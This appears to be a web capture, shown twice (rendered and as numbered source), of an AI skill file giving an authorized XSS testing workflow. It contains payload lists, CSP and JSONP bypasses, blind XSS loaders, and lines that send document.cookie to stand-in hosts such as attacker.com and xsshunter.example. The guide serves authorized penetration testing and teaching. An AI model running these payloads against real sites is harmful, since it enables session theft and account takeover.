Testing for XSS Vulnerabilities
When to Use
- Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing
- Evaluating the effectiveness of input sanitization and output encoding across all application features
- Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation
- Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders
- Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering
Do not use against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.
Prerequisites
- Authorized scope defining the target web application and acceptable testing activities
- Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)
- Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)
- XSS Hunter or Burp Collaborator for out-of-band payload verification
- SecLists XSS payload lists and custom payloads for WAF bypass scenarios
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Input and Output Mapping
Map every location where user input enters and is rendered by the application:
- Reflected inputs: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response
- Stored inputs: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages
- DOM inputs: Identify client-side JavaScript that reads from
location.hash, location.search, document.referrer, window.name, postMessage, or localStorage and writes to the DOM
- Output context identification: For each reflected input, determine the rendering context:
- HTML body:
<div>USER_INPUT</div>
- HTML attribute:
<input value="USER_INPUT">
- JavaScript string:
var x = 'USER_INPUT';
- URL context:
<a href="USER_INPUT">
- CSS context:
<div style="color: USER_INPUT">
Step 2: Reflected XSS Testing
Test reflected injection points with context-appropriate payloads:
- HTML body context:
<script>alert(document.domain)</script>, <img src=x>, <svg>
- HTML attribute context:
" autofocus=", " ", "><script>alert(1)</script>
- JavaScript string context:
';alert(1)//, ';alert(1)//, </script><script>alert(1)</script>
- URL/href context:
javascript:alert(1), data:text/html,<script>alert(1)</script>
- Inside HTML comments:
--><script>alert(1)</script><!--
- Filter bypass payloads (when basic payloads are blocked):
- Case variation:
<ScRiPt>alert(1)</sCrIpT>
- Event handlers:
<details open>
- SVG:
<svg><animate attributeName=x>
- Encoding:
<img src=x>
Step 3: Stored XSS Testing
Test persistent storage points that render input to other users:
- Submit XSS payloads to every stored input field identified in Step 1
- Use a unique identifier in each payload to track which inputs trigger:
<script>alert('XSS-PROFILE-001')</script>
- Check all locations where the stored input is rendered (the same input may appear on multiple pages)
- Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads
- Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes
- Use XSS Hunter payloads (
"><script src=https://yourxsshunter.xss.ht></script>) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access
Step 4: DOM-Based XSS Testing
Analyze client-side JavaScript for unsafe DOM manipulation:
- Source identification: Search JavaScript for dangerous sources that read attacker-controlled input:
document.location, document.URL, document.referrer
location.hash, location.search, location.href
window.name, postMessage event data
- Sink identification: Search for dangerous sinks that write to the DOM:
innerHTML, outerHTML, document.write(), document.writeln()
eval(), setTimeout(), setInterval(), Function()
element.setAttribute() with event handlers, jQuery.html(), .append(), v-html (Vue), dangerouslySetInnerHTML (React)
- Trace data flow: Follow the path from source to sink. If user-controlled input reaches a dangerous sink without proper sanitization, DOM XSS exists.
- Framework-specific testing: Test React
dangerouslySetInnerHTML, Angular template injection ({{constructor.constructor('alert(1)')()}}), Vue v-html directive
Step 5: CSP Bypass and Advanced Exploitation
Test Content Security Policy effectiveness and demonstrate real-world impact:
- CSP analysis: Review the CSP header for weaknesses:
unsafe-inline in script-src allows inline scripts
unsafe-eval allows eval() and similar functions
- Wildcard domains (
*.googleapis.com) may host JSONP endpoints usable for CSP bypass
base-uri not set allows <base> tag injection to redirect relative script loads
- JSONP bypass: If CSP allows a domain with JSONP endpoints, use
<script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script>
- Impact demonstration:
- Session hijacking:
<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>
- Credential phishing: Inject a fake login form overlay that submits to the attacker's server
- Keylogging: Inject JavaScript that captures keystrokes on the page
- Account takeover: Use XSS to change the victim's email address and trigger a password reset
Key Concepts
| Term |
Definition |
| Reflected XSS |
Non-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL |
| Stored XSS |
Persistent XSS where the payload is saved on the server and served to other users who view the affected page |
| DOM-Based XSS |
XSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink |
| Content Security Policy |
HTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS |
| Output Encoding |
Converting special characters to their HTML entity equivalents (e.g., < to <) to prevent the browser from interpreting user input as code |
| Sink |
A JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized |
Tools & Systems
- Burp Suite Professional: HTTP proxy with active scanning for reflected and stored XSS, plus Repeater and Intruder for manual payload testing
- XSS Hunter: Hosted service that generates payloads which phone home with screenshots, cookies, and DOM content when triggered, essential for blind stored XSS
- DOMPurify: Client-side sanitization library used by developers to prevent XSS; testers should test for bypass techniques against the deployed version
- Browser Developer Tools: Console, Network, and Elements tabs for tracing DOM-based XSS data flows and testing payloads in real-time
Common Scenarios
Scenario: Stored XSS in Customer Support Ticket System
Context: An e-commerce platform has a customer support system where customers submit tickets that are viewed by support agents in an internal admin panel. The ticket submission form accepts HTML formatting.
Approach:
- Submit a support ticket with a unique XSS Hunter payload in the ticket description
- The payload fires when a support agent views the ticket in the admin panel, sending a callback with the agent's session cookie, page DOM, and screenshot
- Use the captured admin session cookie to access the admin panel as the support agent
- From the admin panel, access customer records, order data, and refund functionality
- Document the attack chain: customer submits ticket -> agent views ticket -> XSS fires -> session stolen -> admin panel compromised
- Test if CSP would have prevented the attack (in this case, no CSP header was present)
Pitfalls:
- Only testing for
<script>alert(1)</script> and missing XSS that fires through event handlers or in non-HTML contexts
- Not testing stored XSS in features that render to administrative users (support tickets, user profiles viewed by admins)
- Ignoring DOM-based XSS in single-page applications where the server-side code is secure but client-side rendering is vulnerable
- Not checking for XSS in HTTP headers (Referer, User-Agent) that may be logged and rendered in admin dashboards
Output Format
## Finding: Stored XSS in Support Ticket Description
**ID**: XSS-002
**Severity**: High (CVSS 8.1)
**Affected URL**: POST /api/tickets (submission), GET /admin/tickets/8847 (trigger)
**Parameter**: description (POST body)
**XSS Type**: Stored (persistent)
**Description**:
The support ticket description field does not sanitize HTML input before storing
it in the database. When a support agent views the ticket in the admin panel, the
unsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript
execution in the context of the admin application.
**Proof of Concept**:
Submitted ticket with payload:
<img src=x
The payload fired when the agent viewed the ticket, exfiltrating the admin session
cookie to the XSS Hunter server.
**Impact**:
An attacker can steal the session tokens of support agents and administrators,
gaining access to the admin panel with privileges to view customer PII, process
refunds, and modify orders. Affects all 23 support agents who view customer tickets.
**Remediation**:
1. Implement output encoding using a context-aware library (OWASP Java Encoder,
DOMPurify for client-side rendering)
2. Deploy Content Security Policy header:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
3. Set HttpOnly flag on session cookies to prevent JavaScript access
4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)
1---2name: testing-for-xss-vulnerabilities3description: Tests web applications for Cross-Site Scripting (XSS) vulnerabilities by injecting JavaScript payloads into reflected, stored, and DOM-based contexts to demonstrate client-side code execution, session hijacking, and user impersonation. The tester identifies all injection points and output contexts, crafts context-appropriate payloads, and bypasses sanitization and CSP protections. Activates for requests involving XSS testing, cross-site scripting assessment, client-side injection testing, or JavaScript injection vulnerability testing.4license: Apache-2.05---6# Testing for XSS Vulnerabilities
7
8## When to Use
9
10- Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing
11- Evaluating the effectiveness of input sanitization and output encoding across all application features
12- Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation
13- Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders
14- Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering
15
16**Do not use** against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.
17
18## Prerequisites
19
20- Authorized scope defining the target web application and acceptable testing activities
21- Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)
22- Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)
23- XSS Hunter or Burp Collaborator for out-of-band payload verification
24- SecLists XSS payload lists and custom payloads for WAF bypass scenarios
25
26
27> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
28
29## Workflow
30
31### Step 1: Input and Output Mapping
32
33Map every location where user input enters and is rendered by the application:
34
35- **Reflected inputs**: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response
36- **Stored inputs**: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages
37- **DOM inputs**: Identify client-side JavaScript that reads from `location.hash`, `location.search`, `document.referrer`, `window.name`, `postMessage`, or `localStorage` and writes to the DOM
38- **Output context identification**: For each reflected input, determine the rendering context:
39 - HTML body: `<div>USER_INPUT</div>`
40 - HTML attribute: `<input value="USER_INPUT">`
41 - JavaScript string: `var x = 'USER_INPUT';`
42 - URL context: `<a href="USER_INPUT">`
43 - CSS context: `<div style="color: USER_INPUT">`
44
45### Step 2: Reflected XSS Testing
46
47Test reflected injection points with context-appropriate payloads:
48
49- **HTML body context**: `<script>alert(document.domain)</script>`, `<img src=x onerror=alert(1)>`, `<svg onload=alert(1)>`
50- **HTML attribute context**: `" onfocus=alert(1) autofocus="`, `" onmouseover=alert(1) "`, `"><script>alert(1)</script>`
51- **JavaScript string context**: `';alert(1)//`, `';alert(1)//`, `</script><script>alert(1)</script>`
52- **URL/href context**: `javascript:alert(1)`, `data:text/html,<script>alert(1)</script>`
53- **Inside HTML comments**: `--><script>alert(1)</script><!--`
54- **Filter bypass payloads** (when basic payloads are blocked):
55 - Case variation: `<ScRiPt>alert(1)</sCrIpT>`
56 - Event handlers: `<details open ontoggle=alert(1)>`
57 - SVG: `<svg><animate onbegin=alert(1) attributeName=x>`
58 - Encoding: `<img src=x onerror=alert(1)>`
59
60### Step 3: Stored XSS Testing
61
62Test persistent storage points that render input to other users:
63
64- Submit XSS payloads to every stored input field identified in Step 1
65- Use a unique identifier in each payload to track which inputs trigger: `<script>alert('XSS-PROFILE-001')</script>`
66- Check all locations where the stored input is rendered (the same input may appear on multiple pages)
67- Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads
68- Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes
69- Use XSS Hunter payloads (`"><script src=https://yourxsshunter.xss.ht></script>`) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access
70
71### Step 4: DOM-Based XSS Testing
72
73Analyze client-side JavaScript for unsafe DOM manipulation:
74
75- **Source identification**: Search JavaScript for dangerous sources that read attacker-controlled input:
76 - `document.location`, `document.URL`, `document.referrer`
77 - `location.hash`, `location.search`, `location.href`
78 - `window.name`, `postMessage` event data
79- **Sink identification**: Search for dangerous sinks that write to the DOM:
80 - `innerHTML`, `outerHTML`, `document.write()`, `document.writeln()`
81 - `eval()`, `setTimeout()`, `setInterval()`, `Function()`
82 - `element.setAttribute()` with event handlers, `jQuery.html()`, `.append()`, `v-html` (Vue), `dangerouslySetInnerHTML` (React)
83- **Trace data flow**: Follow the path from source to sink. If user-controlled input reaches a dangerous sink without proper sanitization, DOM XSS exists.
84- **Framework-specific testing**: Test React `dangerouslySetInnerHTML`, Angular template injection (`{{constructor.constructor('alert(1)')()}}`), Vue `v-html` directive
85
86### Step 5: CSP Bypass and Advanced Exploitation
87
88Test Content Security Policy effectiveness and demonstrate real-world impact:
89
90- **CSP analysis**: Review the CSP header for weaknesses:
91 - `unsafe-inline` in script-src allows inline scripts
92 - `unsafe-eval` allows eval() and similar functions
93 - Wildcard domains (`*.googleapis.com`) may host JSONP endpoints usable for CSP bypass
94 - `base-uri` not set allows `<base>` tag injection to redirect relative script loads
95- **JSONP bypass**: If CSP allows a domain with JSONP endpoints, use `<script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script>`
96- **Impact demonstration**:
97 - Session hijacking: `<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>`
98 - Credential phishing: Inject a fake login form overlay that submits to the attacker's server
99 - Keylogging: Inject JavaScript that captures keystrokes on the page
100 - Account takeover: Use XSS to change the victim's email address and trigger a password reset
101
102## Key Concepts
103
104| Term | Definition |
105|------|------------|
106| **Reflected XSS** | Non-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL |
107| **Stored XSS** | Persistent XSS where the payload is saved on the server and served to other users who view the affected page |
108| **DOM-Based XSS** | XSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink |
109| **Content Security Policy** | HTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS |
110| **Output Encoding** | Converting special characters to their HTML entity equivalents (e.g., `<` to `<`) to prevent the browser from interpreting user input as code |
111| **Sink** | A JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized |
112
113## Tools & Systems
114
115- **Burp Suite Professional**: HTTP proxy with active scanning for reflected and stored XSS, plus Repeater and Intruder for manual payload testing
116- **XSS Hunter**: Hosted service that generates payloads which phone home with screenshots, cookies, and DOM content when triggered, essential for blind stored XSS
117- **DOMPurify**: Client-side sanitization library used by developers to prevent XSS; testers should test for bypass techniques against the deployed version
118- **Browser Developer Tools**: Console, Network, and Elements tabs for tracing DOM-based XSS data flows and testing payloads in real-time
119
120## Common Scenarios
121
122### Scenario: Stored XSS in Customer Support Ticket System
123
124**Context**: An e-commerce platform has a customer support system where customers submit tickets that are viewed by support agents in an internal admin panel. The ticket submission form accepts HTML formatting.
125
126**Approach**:
1271. Submit a support ticket with a unique XSS Hunter payload in the ticket description
1282. The payload fires when a support agent views the ticket in the admin panel, sending a callback with the agent's session cookie, page DOM, and screenshot
1293. Use the captured admin session cookie to access the admin panel as the support agent
1304. From the admin panel, access customer records, order data, and refund functionality
1315. Document the attack chain: customer submits ticket -> agent views ticket -> XSS fires -> session stolen -> admin panel compromised
1326. Test if CSP would have prevented the attack (in this case, no CSP header was present)
133
134**Pitfalls**:
135- Only testing for `<script>alert(1)</script>` and missing XSS that fires through event handlers or in non-HTML contexts
136- Not testing stored XSS in features that render to administrative users (support tickets, user profiles viewed by admins)
137- Ignoring DOM-based XSS in single-page applications where the server-side code is secure but client-side rendering is vulnerable
138- Not checking for XSS in HTTP headers (Referer, User-Agent) that may be logged and rendered in admin dashboards
139
140## Output Format
141
142```
143## Finding: Stored XSS in Support Ticket Description
144
145**ID**: XSS-002
146**Severity**: High (CVSS 8.1)
147**Affected URL**: POST /api/tickets (submission), GET /admin/tickets/8847 (trigger)
148**Parameter**: description (POST body)
149**XSS Type**: Stored (persistent)
150
151**Description**:
152The support ticket description field does not sanitize HTML input before storing
153it in the database. When a support agent views the ticket in the admin panel, the
154unsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript
155execution in the context of the admin application.
156
157**Proof of Concept**:
158Submitted ticket with payload:
159<img src=x onerror="fetch('https://xsshunter.example/callback?c='+document.cookie)">
160
161The payload fired when the agent viewed the ticket, exfiltrating the admin session
162cookie to the XSS Hunter server.
163
164**Impact**:
165An attacker can steal the session tokens of support agents and administrators,
166gaining access to the admin panel with privileges to view customer PII, process
167refunds, and modify orders. Affects all 23 support agents who view customer tickets.
168
169**Remediation**:
1701. Implement output encoding using a context-aware library (OWASP Java Encoder,
171 DOMPurify for client-side rendering)
1722. Deploy Content Security Policy header:
173 Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
1743. Set HttpOnly flag on session cookies to prevent JavaScript access
1754. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)
176```